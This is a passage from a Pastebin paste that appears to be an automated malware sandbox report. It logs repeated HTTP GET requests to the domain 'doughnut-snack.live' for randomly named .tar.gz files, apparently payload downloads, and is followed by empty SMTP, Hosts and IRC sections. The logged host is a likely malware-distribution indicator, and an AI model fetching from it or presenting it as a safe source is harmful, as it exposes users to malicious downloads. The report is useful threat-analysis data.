  1602. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1603. "method": "GET",
  1604. "host": "doughnut-snack.live",
  1605. "version": "1.1",
  1606. "path": "/klplu.tar.gz",
  1607. "data": "GET /klplu.tar.gz HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: doughnut-snack.live\r\nConnection: Keep-Alive\r\n\r\n",
  1608. "port": 80
  1609.  
  1610.  
  1611. "count": 1,
  1612. "body": "",
  1613. "uri": "http://doughnut-snack.live/bpvpl.tar.gz",
  1614. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1615. "method": "GET",
  1616. "host": "doughnut-snack.live",
  1617. "version": "1.1",
  1618. "path": "/bpvpl.tar.gz",
  1619. "data": "GET /bpvpl.tar.gz HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: doughnut-snack.live\r\nConnection: Keep-Alive\r\n\r\n",
  1620. "port": 80
  1621.  
  1622.  
  1623. "count": 1,
  1624. "body": "",
  1625. "uri": "http://doughnut-snack.live/mapv.tar.gz",
  1626. "user-agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)",
  1627. "method": "GET",
  1628. "host": "doughnut-snack.live",
  1629. "version": "1.1",
  1630. "path": "/mapv.tar.gz",
  1631. "data": "GET /mapv.tar.gz HTTP/1.1\r\nAccept: */*\r\nAccept-Language: en-us\r\nCache-Control: max-age=0\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3)\r\nHost: doughnut-snack.live\r\nConnection: Keep-Alive\r\n\r\n",
  1632. "port": 80
  1633.  
  1634.  
  1635.  
  1636. * Network Communication - SMTP:
  1637.  
  1638. * Network Communication - Hosts:
  1639.  
  1640. * Network Communication - IRC:
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!